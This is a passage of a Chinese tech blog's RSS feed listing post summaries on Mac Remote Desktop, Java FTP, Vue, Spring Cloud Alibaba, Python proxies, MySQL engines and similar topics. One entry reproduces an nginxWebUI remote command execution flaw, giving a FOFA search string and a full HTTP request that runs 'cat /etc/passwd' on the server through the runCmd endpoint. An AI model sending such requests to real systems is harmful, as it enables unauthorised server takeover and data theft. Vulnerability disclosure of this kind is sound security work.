      <description>适用于Mac的Microsoft远程桌面测试版！Microsoft Remote Desktop Beta for Mac是一种远程工具，允许用户从Mac远程访问基于Windows的计算机。使用此工具，用户可以随时随地使用Mac连接到远程桌面、应用程序和资源。&#xA;Microsoft Remote Desktop Beta for Mac提供了一个现代直观的用户界面，该界面已针对macOS进行了充分优化。它支持多个同时连接，允许用户在不同的远程桌面和应用程序之间轻松切换。&#xA;Microsoft Remote Desktop Beta for Mac的主要功能之一是支持各种基于Windows的应用程序，包括Microsoft Office、Visual Studio和Adobe Creative Suite。用户可以远程访问这些应用程序，并像在Mac上本地运行一样使用它们。&#xA;总体而言，Microsoft Remote Desktop Beta for Mac是一款功能强大的工具，通过提供从Mac远程访问基于Windows的计算机和应用程序，帮助用户提高生产力和灵活性。&#xA;Microsoft Remote Desktop安装教程&#xA;安装包下载完成后，拖动左侧的`Microsoft Remote Desktop Beta`到右侧应用程序中即可</description>
    </item>
    <item>
      <title>Java中FTP服务器实现文件的列表展示、文件的上传与下载</title>
      <link>https://bchobby.github.io/posts/678eebedeb5879c0df9c9ca8bff2d2ca/</link>
      <pubDate>Mon, 10 Jul 2023 17:08:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/678eebedeb5879c0df9c9ca8bff2d2ca/</guid>
      <description>文件传送协议(FTP协议) 一、FTP协议的概述 文件传送协议(File Transfer Protocol)是互联网上使用的最广泛的文件传输协议，用于Internet上的控制文件的双向传输。TP提供交互式的访问，允许客户指明文件类型与格式，并允许文件具有存取权限。FTP屏蔽了各计算机系统的细节，因而适合于在异构网络中计算机之间传送文件 二、FTP协议的特点 文件传送协议FTP只提供文件传送的一些基本的服务，它使用TCP可靠的运输方式。FTP的主要功能是减少或消除在不同操作系统下处理文件的不兼容性。FTP使用客户服务器方式。一个FTP服务器进程可同时为多个客户进程提提供服务，FTP的服务器进程由二大部分组成：一个是主进程，负责接受新的请求；另外有诺干个从属进程，负责处理单个请求。实现FTP文件上传与下载的两种方式 三、 FTP的工作过程 1.FTP使用的两个TCP连接(如下图所示) FTP使用客户服务器方式。一个 FTP服务器进程可同时为多个客户进程提供服务。FTP的服务器进程由两大部分组成：一个主进程，负责接受新的请求；另外由若干个从属进程，负责处理单个请求。主进程工作步骤如下： ①打开熟知端口(端口号为21)，使客户进程能够连接上。&#xA;②等待客户进程发出连接请求。&#xA;③启动从属进程来处理客户进程发来的请求。从属进程对客户进程的请求处理完毕后即 终止，但从属进程在运行期间根据需要还可能创建其他一些子进程。&#xA;④回到等待状态，继续接受其他客户进程发来的请求。主进程与从属进程的处理是并发 地进行。&#xA;四、实现FTP文件上传与下载的两种方式 通过JDK自带的API实现通过Apache提供的API实现 代码实现前的准备工作 首先打开Ftpconsole.exe文件，找到账号管理，并新建一个用户&#xA;在新建账号中输入自己的用户名以及密码，并选择你所需要的权限。打开Ftpconsole.exe后你能够看见主机名称和主机IP，以及FTP服务端口和Web服务端口&#xA;可以看到主机IP有三个，那是因为电脑中含有虚拟机，可以在控制面板中找到网络和 Internet选择网络连接，右键禁用虚拟机&#xA;准备好这些工作后，在文件夹下导入所需要用的jar包&#xA;代码实现过程 一、连接FTP服务器，显示文件列表 package com.apesource.demo; import java.io.IOException; import java.net.SocketException; import java.text.SimpleDateFormat; import java.util.Date; import org.apache.commons.net.ftp.FTPClient; import org.apache.commons.net.ftp.FTPFile; //连接FTP服务器，显示文件列表 public class Demo01 { public static void main(String[] args) { try { //第一步：连接FTP服务器并验证用户名密码 FTPClient ftpClient = new FTPClient(); ftpClient.connect(&#34;192.168.142.1&#34;,21); //ftpClient.connect(&#34;本机地址&#34;,21) ftpClient.login(&#34;xxx&#34;, &#34;*****&#34;); //ftpClient.login(userName,PassWord) //第二步 boolean isChange = ftpClient.</description>
    </item>
    <item>
      <title>vue 数据处理收集</title>
      <link>https://bchobby.github.io/posts/6f6a17986cbec672fd70dc6197b66dcc/</link>
      <pubDate>Mon, 10 Jul 2023 17:07:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f6a17986cbec672fd70dc6197b66dcc/</guid>
      <description> 一、json字符串转换为json对象 1、使用eval&#xA;result = eval(&#39;(&#39; + jsonstr + &#39;)&#39;); // jsonstr是json字符串 2、使用JSON.parse() result = JSON.parse(jsonstr); // jsonstr是json字符串 eval和JSON.parse()的区别 eval 是javascript支持的方式，不需要严格的json格式的数据也可以转化&#xA;JSON.parse 是浏览器支持的转换方式，必须要标准的json格式才可以转换&#xA;二、判断数组内是否存在某一项 findIndex（）顾名思义，查找符合条件的值并返回其索引（返回值为-1表示不存在满足条件的值），通过判断返回值对其进行下一步操作&#xA;indexOf（）从头开始寻找是否存在符合条件的字符串，返回值为-1表示不存在&#xA;//方法一:通用 xx(Arr,date){ // 返回值等于-1 说明数组Arr中不存在id为date的对象 if( Arr.findIndex(item =&amp;gt; item.id=== date )!==-1){ ... }&#x9;} //方法二：当数组里的对象为字符串时用这个方法更简单 xx(Arr,date){ // 返回值等于-1 说明数组Arr中不存在id为date的对象 if( Arr.indexOf(date)!==-1 ){ ... }&#x9;} </description>
    </item>
    <item>
      <title>Alibaba Spingcloud 组件及使用规范</title>
      <link>https://bchobby.github.io/posts/fd3ecd1e68f65dc678ab16e5e07ba970/</link>
      <pubDate>Mon, 10 Jul 2023 16:52:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd3ecd1e68f65dc678ab16e5e07ba970/</guid>
      <description>一、框架推出的背景&#xA;1.springcloud组件停止维护，急需孵化新项目&#xA;spring cloud中的几乎所有的组件都使用Netflix公司的产品，然后在其基础上做了一层封装。然而Netflix的服务发现组件Eureka已经停止更新；而其他的众多组件Ribbon、Zuul、Hystrix会在2020年停止维护。&#xA;2.阿里为整合dubbo和springcloud申请进入孵化&#xA;在alibaba springcloud推出之前，若项目想由dubbo转成springcloud框架，工作量比较大，微服务调用方式不一样，注册中心也不一样。&#xA;阿里为了整合自家产品，也进一步提升开发和运维效率， 便推出alibaba springcloud。&#xA;强大的nacos，sentinel新组件，&#xA;基于http和rpc的微服务都是用同一个注册中心，框架更加灵活，&#xA;使用dubbo框架的旧项目可快速迁移，&#xA;等等优点，受到开发者的欢迎。&#xA;最后，alibaba springcloud孵化成功，成为springcloud的子项目&#xA;alibaba springcloud 组件：&#xA;Sentinel：把流量作为切入点，从流量控制、熔断降级、系统负载保护等多个维度保护服务的稳定性。&#xA;Nacos：一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。&#xA;RocketMQ：一款开源的分布式消息系统，基于高可用分布式集群技术，提供低延时的、高可靠的消息发布与订阅服务。&#xA;Dubbo：Apache Dubbo 是一款高性能 Java RPC 框架。&#xA;Seata：阿里巴巴开源产品，一个易于使用的高性能微服务分布式事务解决方案。&#xA;Alibaba Cloud OSS: 阿里云对象存储服务（Object Storage Service，简称 OSS），是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。&#xA;Alibaba Cloud SchedulerX: 阿里中间件团队开发的一款分布式任务调度产品，提供秒级、精准、高可靠、高可用的定时（基于 Cron 表达式）任务调度服务。&#xA;Alibaba Cloud SMS: 覆盖全球的短信服务，友好、高效、智能的互联化通讯能力，帮助企业迅速搭建客户触达通道。&#xA;二、alibaba springcloud和springcloud技术栈对比&#xA;三、相关组件介绍&#xA;Nacos ：发现、配置和管理微服务(下线、负责均衡权重等)&#xA;服务发现和服务健康监测&#xA;动态配置服务&#xA;动态 DNS 服务&#xA;服务及其元数据管理&#xA;官网介绍 https://nacos.io/zh-cn/docs/what-is-nacos.html&#xA;以下暂不介绍：&#xA;路由： gateway&#xA;sentinel 流量控制，断路 文档&#xA;apache-skywalking-apm-bin 链路跟踪&#xA;Rocketmq 的使用</description>
    </item>
    <item>
      <title>opencv_linux系统环境安装</title>
      <link>https://bchobby.github.io/posts/9e5ff0a7b5216e17c60f020a04b2a6eb/</link>
      <pubDate>Mon, 10 Jul 2023 15:06:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e5ff0a7b5216e17c60f020a04b2a6eb/</guid>
      <description>1安装cmake以及依赖库&#xA;$ sudo apt-get install cmake&#xA;$ sudo apt-get install build-essential libgtk2.0-dev libavcodec-dev libavformat-dev libjpeg.dev libtiff4.dev libswscale-dev libjasper-dev&#xA;2安装opencv(若下载的是OpenCV3.4.0版本)&#xA;$ tar -zxvf opencv-3.4.0.tar.gz&#xA;$ cd opencv-3.4.0&#xA;$ mkdir build&#xA;$ cd build&#xA;$ cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -D CUDA_GENERATION=Kepler …&#xA;$ sudo make -j4&#xA;$ sudo make install&#xA;3.把opencv的so库加入到环境变量&#xA;$ sudo gedit /etc/ld.so.conf.d/opencv.conf //没有则新建&#xA;末尾加入/usr/local/lib，保存退出&#xA;$ sudo ldconfig #使配置生效&#xA;打开/etc/bash.bashrc；&#xA;$ sudo gedit /etc/bash.bashrc&#xA;export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/usr/local/lib/pkgconfig&#xA;加到文件末尾，保存退出&#xA;$ source /etc/bash.</description>
    </item>
    <item>
      <title>如何在Python中使用代理IP？</title>
      <link>https://bchobby.github.io/posts/572f9c6b2705aa61ce6bb702dbab195f/</link>
      <pubDate>Mon, 10 Jul 2023 13:42:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/572f9c6b2705aa61ce6bb702dbab195f/</guid>
      <description>前言&#xA;在网络爬虫开发中，使用代理IP是非常常见的技巧。代理服务器可以让我们的爬虫请求伪装成其他的用户或者其他地点的请求，达到防止被反爬虫或者加速爬虫请求的效果。&#xA;Python作为一门强大的编程语言，也提供了很多方法来使用代理IP。下面，我将就如何在Python中使用代理IP进行详细的阐述，并举例说明。&#xA;1.方法一：使用urllib模块 Python中最基础的网络请求是使用urllib模块，我们可以利用它来使用代理IP。在使用urllib时，我们需要使用ProxyHandler类来处理代理信息，代码如下：&#xA;import urllib.request # 设置代理IP proxy_ip = &#34;http://127.0.0.1:8888&#34; # 构造代理处理器对象 proxy_handler = urllib.request.ProxyHandler({&#34;http&#34;: proxy_ip}) # 构造一个自定义的opener对象 opener = urllib.request.build_opener(proxy_handler) # 使用自定义的opener对象发起访问请求 response = opener.open(&#34;http://www.baidu.com&#34;) # 打印请求结果 print(response.read().decode(&#34;utf-8&#34;)) 在以上代码中，我们使用了proxy_ip来设置代理IP，使用ProxyHandler来构造代理处理器对象，使用build_opener来构造一个自定义的opener对象，并使用opener对象来发起请求。如果需要设置HTTPS代理IP，只需要将&#34;http&#34;改为&#34;https&#34;即可。&#xA;2.方法二：使用requests模块 在Python中最常用的网络请求模块是requests，因为它非常易用和方便。我们也可以利用它来使用代理IP，代码如下：&#xA;import requests # 设置代理IP proxy_ip = &#34;http://127.0.0.1:8888&#34; # 设置代理信息 proxies = {&#34;http&#34;: proxy_ip} # 发起请求 response = requests.get(&#34;http://www.baidu.com&#34;, proxies=proxies) # 打印请求结果 print(response.text) 在以上代码中，我们同样使用了proxy_ip来设置代理IP，使用proxies来设置代理信息，并使用requests.get方法来发起请求。如果需要设置HTTPS代理IP，只需要将&#34;http&#34;改为&#34;https&#34;即可。&#xA;3.方法三：使用selenium模块 在某些情况下，我们需要使用selenium来模拟浏览器操作。在这种情况下，我们同样可以使用代理IP。代码如下：&#xA;from selenium import webdriver # 设置代理IP proxy_ip = &#34;127.0.0.1:8888&#34; # webdriver设置代理信息 chrome_options = webdriver.</description>
    </item>
    <item>
      <title>vue中beforeDestroy销毁定时器不生效</title>
      <link>https://bchobby.github.io/posts/d37029097df0a5a9c4e6a27ad7d28d88/</link>
      <pubDate>Mon, 10 Jul 2023 11:26:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d37029097df0a5a9c4e6a27ad7d28d88/</guid>
      <description> data() { return { nowPageTime: 0, //当前页面时间，用于计时 }; }, created() { this.timeRefresh(); }, methods: { timeRefresh(){ let timeRefName = setInterval((res) =&amp;gt; { this.nowPageTime += 1 if(this.nowPageTime == 1800){ //若计时半小时了 this.$router.go(0); } },1000) // 通过 $once 来监听定时器，在 beforeDestroy 钩子可以被清除。 this.$once(&#39;hook:beforeDestroy&#39;, () =&amp;gt; { clearInterval(timeRefName); timeRefName = null; }) }, } </description>
    </item>
    <item>
      <title>装win10提示“在EFI系统上，Windows只能安装到GPT磁盘”</title>
      <link>https://bchobby.github.io/posts/b6dbc29ed136d2a63d3edc717c77a420/</link>
      <pubDate>Mon, 10 Jul 2023 10:32:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6dbc29ed136d2a63d3edc717c77a420/</guid>
      <description>在安装界面，按 shift + F10 键&#xA;在命令提示符窗口依次执行如下命令：&#xA;输入：diskpart 命令后，按enter键，进入到 DISKPART 模式。&#xA;输入：list disk 命令后，按enter键，查看电脑的硬盘。编号0，表示电脑的第一块硬盘；编号2，表示电脑的第二块硬盘；根据电脑的硬盘数量不同显示不同。&#xA;输入：select disk 0 命令后，按enter键，表示选中第一块硬盘。（select disk x 命令中的x，表示选中的硬盘编号）。&#xA;输入：clean 命令清除选中硬盘上的所有分区和数据。&#xA;执行：convert gpt 命令将选中的硬盘转换成GPT分区表格式。&#xA;输入：exit 命令退出 DISKPART 模式。&#xA;输入：exit 命令退出命令提示符模式。&#xA;https://blog.csdn.net/weixin_42608002/article/details/104321747</description>
    </item>
    <item>
      <title>js常用数组操作方法</title>
      <link>https://bchobby.github.io/posts/79c974dfd04ceee3acb337232b78df57/</link>
      <pubDate>Mon, 10 Jul 2023 09:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79c974dfd04ceee3acb337232b78df57/</guid>
      <description>1、concat()&#xA;用于连接两个或多个数组。该方法不会改变现有的数组，仅会返回被连接数组的一个副本。&#xA;2、join()&#xA;用于把数组中的所有元素放入一个字符串。元素是通过指定的分隔符进行分隔的，默认使用’,&#39;号分割，不改变原数组&#xA;3、push()&#xA;可向数组的末尾添加一个或多个元素，并返回新的长度。末尾添加，返回的是长度，改变原数组&#xA;4、pop()&#xA;用于删除并返回数组的最后一个元素。返回最后一个元素，改变原数组&#xA;5、shift()&#xA;用于把数组的第一个元素从其中删除，并返回第一个元素的值，改变原数组&#xA;6、unshift()&#xA;可向数组的开头添加一个或更多元素，并返回新的长度，改变原数组。&#xA;7、slice() 截取&#xA;返回一个新的数组，包含从 start 到 end （不包括该元素）的 arrayObject 中的元素（含头不含尾）。返回选定的元素，不会修改原数组&#xA;8、splice() 删除&#xA;splice() 方法可删除从 index(从0开始) 处开始的零个或多个元素，并且用参数列表中声明的一个或多个值来替换那些被删除的元素。如果从 arrayObject 中删除了元素，返回的是含有被删除的元素的数组。会改变原数组&#xA;9、substr() 和 substring()&#xA;相同点：如果只是写一个参数，两者的作用都一样：都是是截取字符串从当前下标直到字符串最后的字符串片段。都不会改变原字符串&#xA;不同点：第二个参数&#xA;substr（startIndex,lenth）： 第二个参数是截取字符串的长度（从起始点截取某个长度的字符串）；&#xA;substring（startIndex, endIndex）： 第二个参数是截取字符串最终的下标 （截取2个位置之间的字符串,‘含头不含尾’）。&#xA;10、sort 排序&#xA;按照 Unicode code 位置排序，默认升序，会改变原数组&#xA;11、reverse()&#xA;用于颠倒数组中元素的顺序。返回的是颠倒后的数组，会改变原数组&#xA;12、indexOf 和 lastIndexOf&#xA;都接受两个参数：查找的值、查找起始位置&#xA;不存在，返回 -1 ；存在，返回位置。indexOf 是从前往后查找， lastIndexOf 是从后往前查找。&#xA;indexOf&#xA;13、every&#xA;对数组的每一项都运行给定的函数，每一项都返回 ture,则返回 true&#xA;14、some&#xA;对数组的每一项都运行给定的函数，任意一项都返回 ture,则返回 true&#xA;15、filter&#xA;对数组的每一项都运行给定的函数，返回 结果为 ture 的项组成的数组</description>
    </item>
    <item>
      <title>MATLAB入门</title>
      <link>https://bchobby.github.io/posts/263c3ef369a03fe8ef17f6de0898ce8b/</link>
      <pubDate>Mon, 10 Jul 2023 00:22:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/263c3ef369a03fe8ef17f6de0898ce8b/</guid>
      <description>一、变量与函数 1. 变量 MATLAB中变量的命名规则是： （1）变量名必须是不含空格的单个词；&#xA;（2）变量名区分大小写；&#xA;（3）变量名最多不超过19个字符；&#xA;（4）变量名必须以字母打头，之后可以是任意字母、数字或下划线，变量名中不允许使用标点符号.&#xA;特殊变量表 特殊变量&#xA;取 值&#xA;ans&#xA;用于结果的缺省变量名&#xA;pi&#xA;圆周率&#xA;eps&#xA;计算机的最小数，和1相加时产生一个比1大的数&#xA;flops&#xA;浮点运算数&#xA;inf&#xA;无穷大，如1/0&#xA;NaN&#xA;不定量，如0/0&#xA;i，j&#xA;i=j=√-1&#xA;nargin&#xA;所用函数的输入变量数目&#xA;nargout&#xA;所用函数的输出变量数目&#xA;realmin&#xA;最小可用正实数&#xA;realmax&#xA;最大可用正实数&#xA;2. 数学运算符号及标点符号 +&#xA;加法运算，适用于两个数或两个同阶矩阵相加.&#xA;—&#xA;减法运算&#xA;*&#xA;乘法运算&#xA;.*&#xA;点乘运算&#xA;/&#xA;除法运算&#xA;./&#xA;点除运算&#xA;^&#xA;乘幂运算&#xA;.^&#xA;点乘幂运算&#xA;\&#xA;反斜杠表示左除.&#xA;（1）MATLAB的每条命令后，若为逗号或无标点符号，则显示命令的结果；若命令后为分号，则禁止显示结果.&#xA;（2）“%” 后面所有文字为注释.&#xA;（3） “...”表示续行.&#xA;3. 数学函数 函 数&#xA;名 称&#xA;函 数&#xA;名 称</description>
    </item>
    <item>
      <title>pom依赖报错com.mysql:mysql-connector-j:jar:unknown was not found</title>
      <link>https://bchobby.github.io/posts/d6593e92a65ce54a75fa4b34a14fee41/</link>
      <pubDate>Sun, 09 Jul 2023 22:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6593e92a65ce54a75fa4b34a14fee41/</guid>
      <description> 项目场景：&#xA;springboot项目导入了mysql驱动的依赖时报错：com.mysql:mysql-connector-j:jar:unknown was not found&#xA;问题描述&#xA;报错：com.mysql:mysql-connector-j:jar:unknown was not found&#xA;原因分析： 父依赖里找不到这个依赖，可能是因为mysql-connector-java分为5.1版本和8.0版本，而我们在官网的截图中确实没看到6.0版本。8.0以前就是6.0，后来版本号更改，6.0变成了8.0 解决方案： 可以在这里插入代码片自己手动加上版本号&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.31&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 报错消失 </description>
    </item>
    <item>
      <title>MYSQL储存引擎与锁</title>
      <link>https://bchobby.github.io/posts/66a078d5ad823193ccd5ca4bc81540e0/</link>
      <pubDate>Sun, 09 Jul 2023 21:24:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66a078d5ad823193ccd5ca4bc81540e0/</guid>
      <description>MYSQL结构体系 客户端连接&#xA;支持接口：支持的客户端连接，例如C、Java、PHP等语言来连接MySQL数据库。&#xA;第一层：网络连接层&#xA;连接池：管理、缓冲用户的连接，线程处理等需要缓存的需求&#xA;第二层：核心服务层&#xA;管理服务和工具：系统的管理和控制工具，例如备份恢复、复制、集群等&#xA;SQL接口：接受SQL命令，井且返回查询结果，&#xA;查询解析器：验证和解析QL命令，例如过滤条件、语法结构等。&#xA;查询优化器：在执行查询之前，使用默认的一套优化机制进行优化sq语句。&#xA;缓存：如果缓存当中有想查询的数据，则直接将缓存中的数据返回。设有的话再重新查间&#xA;第三层：存储引学层&#xA;插件式存储引学：管理和操作数据的一种机制，包括存储数据、如何更新、查询数摆等)&#xA;第四层：系统文件层&#xA;文件系统：配置文件、数据文件、日志文件、错误文件、二进制文件等等的保存。&#xA;1.储存引擎 1.储存引擎概述 MyQL数据库使用不同的机制存取表文件，包括存储方式，索引技巧，锁定水平等不问的功能、这不同的技术以及配套的功能称为存储引擎&#xA;Oracle、SqlServer等数据库只有一种存储引擎。而MySQL针对不同的需求配置不同的存学就会让数据库采取不同处理数据剧的方式和扩展功能&#xA;MySQL支持的存储引章有很多，常用的有三种：InnoDB、MyISAM、MEMORY&#xA;特性对比&#xA;MylSAM存储引擎：访问快，不支持事务和外健作，&#xA;In门oDB存储引擎：支持事务和外操作，支持并发控制，占用磁盘空问大。(My5QL5.5版本后默认&#xA;MEMORY存储引擎：内存存储，速应快，不安全，适合小录快速方问的数据&#xA;2.储存引擎的操作 查询数据库支持的储存引擎&#xA;SHOW ENGINES; 查询某个数据库中所有数据表的储存引擎&#xA;SHOW TABLE STATUS FROM 数据库名称; 查询某个数据库中某个数据表的储存引擎&#xA;SHOW TABLE STATUS FROM 数据库名称 WHEWE NAME=&#39;数据表名称&#39;; 创建数据表指定存储引擎&#xA;CREATE TABLE 表名( 列名，数据类型， ...... )ENGINE =引擎名称； 修改数据表储存引擎&#xA;ALTER TABLE 表名 ENGINE=引擎名称； 例：&#xA;--查询数据库支持的储存引擎 SHOW ENGINES; --查询db4数据库所有表的储存引擎 SHOW TABLE STATUS FROM db4; --查询db4数据库中category表的储存引擎 SHOW TABLE STATUS FROM db4 WHERE NAME=&#39;category&#39;; /* CREATE TABLE 表名( 列名，数据类型， .</description>
    </item>
    <item>
      <title>QQ取色器功能</title>
      <link>https://bchobby.github.io/posts/a1a01d6389f984ea2a95407191905720/</link>
      <pubDate>Sun, 09 Jul 2023 17:13:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1a01d6389f984ea2a95407191905720/</guid>
      <description>一 使用方法 QQ截图功能具有取色器功能。&#xA;二 截取颜色三原色 1 截图&#xA;Ctral+ALT+A&#xA;2 找到取色目标&#xA;3 按 C 键&#xA;4 CTRL+V&#xA;5 得到颜色三原色&#xA;255,255,255&#xA;三 截取十六进制颜色 1 截图&#xA;Ctral+ALT+A&#xA;2 找到取色目标&#xA;3 CTRAL+C 键&#xA;4 CTRL+V&#xA;5 得到十六进制颜色&#xA;#00BE65</description>
    </item>
    <item>
      <title>Endnote 2020使用教程和技巧</title>
      <link>https://bchobby.github.io/posts/52dab4120f14e47af6b39eb58f38b012/</link>
      <pubDate>Sun, 09 Jul 2023 16:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52dab4120f14e47af6b39eb58f38b012/</guid>
      <description>Endnote2020使用技巧 1. 将 EndNote 文献信息导出成 BibTeX 格式1.1 Mac Endnote2020引用论文流程：1.2常见问题： 2. 如何清除组内（group)重复的论文3.Mac endnote cpu占用过高问题4.同步local library和 online library 1. 将 EndNote 文献信息导出成 BibTeX 格式 参考资料1:将 EndNote 文献信息导出成 BibTeX 格式&#xA;参考资料2:在TeXstudio中，编译文件时不需要像上述文章一样，分别编译Latex文档和Bib文档，只需要按照正常步骤，一键编译，正常编译输出如下，里面的warnings可以不用管。&#xA;1.1 Mac Endnote2020引用论文流程： 选中要引用的论文，点击到处为EndNote Desktop，然后用endnote打开下载的文件&#xA;在endnote中可以见到论文信息，右键要引用的论文，然后copy formatted reference就复制好引用了&#xA;ctrl+c将引用复制到word中即可 [1]&#x9;ZHOU Y, WANG X, YAO L, et al. LDAformer: predicting lncRNA-disease associations based on topological feature extraction and Transformer encoder [J]. Briefings in bioinformatics, 2022. 如果这个按钮是灰色的，说明没有配置引用格式，此时如果是windows电脑，则先下载所有的格式文件：https://download.csdn.net/download/adreammaker/85427457&#xA;然后复制到endnote的安装文件夹中的styles文件夹内 5.点击 Edit-output style - management -勾选chinese std那两个</description>
    </item>
    <item>
      <title>【漏洞复现】nginxWebUI 存在前台远程命令执行漏洞</title>
      <link>https://bchobby.github.io/posts/5afb6eff61ec46580cd424c194385886/</link>
      <pubDate>Sun, 09 Jul 2023 14:15:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5afb6eff61ec46580cd424c194385886/</guid>
      <description>文章目录 前言声明一、nginxWebUI 简介二、漏洞描述三、影响版本四、漏洞复现五、修复建议 前言 nginxWebUI 存在前台远程命令执行漏洞，攻击者通过该漏洞获取服务器控制权限进而进一步获取敏感数据信息。&#xA;声明 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。&#xA;一、nginxWebUI 简介 nginxWebUI是一款图形化管理nginx配置的工具，能通过网页快速配置nginx的各种功能，包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置，配置完成后可以一键生成nginx.conf文件，并控制nginx使用此文件进行启动和重载。&#xA;二、漏洞描述 nginxWebUI是一款网页版开源工具。 并且存在命令执行漏洞。攻击者可利用漏洞执行系统任意命令。&#xA;三、影响版本 nginxWebUI &amp;lt;= 3.5.0 四、漏洞复现 FOFA：&#34;nginxWebUI&#34;&#xA;漏洞链接：http://127.0.0.1/AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx&#xA;漏洞数据包如下：&#xA;GET /AdminPage/conf/runCmd?cmd=cat%20/etc/passwd%26%26echo%20nginx HTTP/1.1 Host: X.X.X.X Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://X.X.X.X Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8 Cookie: SOLONID=fc7679940b1743b3aee1d4d233913cc3; SOLONID2=69ddf221509a61bc6990d82d780db6b7; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1688881500; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1688881500 Connection: close cmd参数可控，可获取服务器任意信息。&#xA;五、修复建议 请关注厂商主页及时更新： https://www.nginxwebui.cn/</description>
    </item>
    <item>
      <title>开始使用 Elasticsearch （1）</title>
      <link>https://bchobby.github.io/posts/6fbf16d9df0e3309de11f3cd0c0c07b0/</link>
      <pubDate>Sun, 09 Jul 2023 11:08:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fbf16d9df0e3309de11f3cd0c0c07b0/</guid>
      <description>在今天的这篇文章中，我们来主要介绍一下如何使用 REST 接口来对 Elasticsearch 进行操作。为了完成这项工作，我们必须完成如下的步骤：&#xA;安装 Elasticsearch。请参阅文章 “如何在 Linux，MacOS 及 Windows 上进行安装 Elasticsearch”。把 Elasticsearch 运行起来。安装 Kibana。请参阅文章 “如何在 Linux，MacOS 及 Windows 上安装 Elastic 栈中的 Kibana”。把 Kibana 运行起来。熟悉有关于 Elastic 栈的一些最基本的概念。请参阅文章 “Elasticsarch 中的一些重要概念: cluster, node, shards 及 replica”。这些概念对我们如下的练习有非常多的帮助。 有了上面最基本的一些安装及概念，我们就很容进行下面的讲解了。在如下所展示的所有的 scripts 可在地址 https://github.com/liu-xiao-guo/es-scripts-7.3 找到。&#xA;搜索引擎执行以下两个主要操作：&#xA;索引（indexing）：此操作用于接收文档，对其进行处理，并将其存储在一个索引中。搜索（searching）：此操作用于根据查询从索引中检索数据。 除了上述的两个操作，作为数据库，通常它还有另外的两个操作：&#xA;更改（updating）删除（deleting） 有关这两个操作的详述，请参阅我的另外一篇文章 “Elasticsearch：彻底理解 Elasticsearch 数据操作”。&#xA;本教程基于上面的两个操作来完成。这个教程是一个3篇文章的教程，它涵盖了最基本的 Elasticsearch 的一些最基本的点：&#xA;开始使用 Elasticsearch （1）: 了解如何创建索引，添加，删除，更新文档开始使用 Elasticsearch （2）：了解如何进行搜索开始使用 Elasticsearch （3）：了解如何进行分析数据: analyze 及 aggregate 数据 开始使用Elasticsearch （1)&#xA;开始使用Elasticsearch （1)_哔哩哔哩_bilibili&#xA;什么是 JSON？ JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999 的一个子集。在 Elasticsearch 中，所以的数据都是以 JSON 的格式来进行表述的。这个和其它的有些数据库，比如 Solr，它支持更多格式的数据，比如 xml, csv 等。</description>
    </item>
    <item>
      <title>python的一些小练习（1）</title>
      <link>https://bchobby.github.io/posts/32ef8739a714f30969786b6dacffdf8a/</link>
      <pubDate>Sun, 09 Jul 2023 00:00:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32ef8739a714f30969786b6dacffdf8a/</guid>
      <description>（1）用起泡法对十个数由大到小排序，即将相邻两个数比较，将小的调到前头&#xA;input_values=input(&#34;输入十个数&#34;) values=[int(x) for x in input_values.split( )] for i in range(9): for j in range(9-i): if values[j]&amp;lt;values[j+1]: t=values[j+1] values[j+1]=values[j] values[j]=t print(&#34;排序后：&#34;,values) （2）有一个4x5矩阵，编程求出其最大值及其所处的位置&#xA;import random matrix=[[random.randint(0,100) for i in range(3)] for j in range(4)] max=matrix[0][0] for i in range(4): for j in range(3): if max&amp;lt;matrix[i][j]: max=matrix[i][j] a=i b=j print(&#34;该矩阵的最大值为：&#34;,max,&#34;\n位置为第&#34;,a,&#34;行&#34;,&#34;第&#34;,b,&#34;列&#34;) （3）求&#xA;sum=0 for i in range(1,21): s = 1 for j in range(1,i+1): s=s*j sum=sum+s print(sum) （5）有一函数,写一程序，输入自变量的值，输出函数值&#xA;import numpy as np x=float(input(&#34;</description>
    </item>
    <item>
      <title>认识文件操作与IO</title>
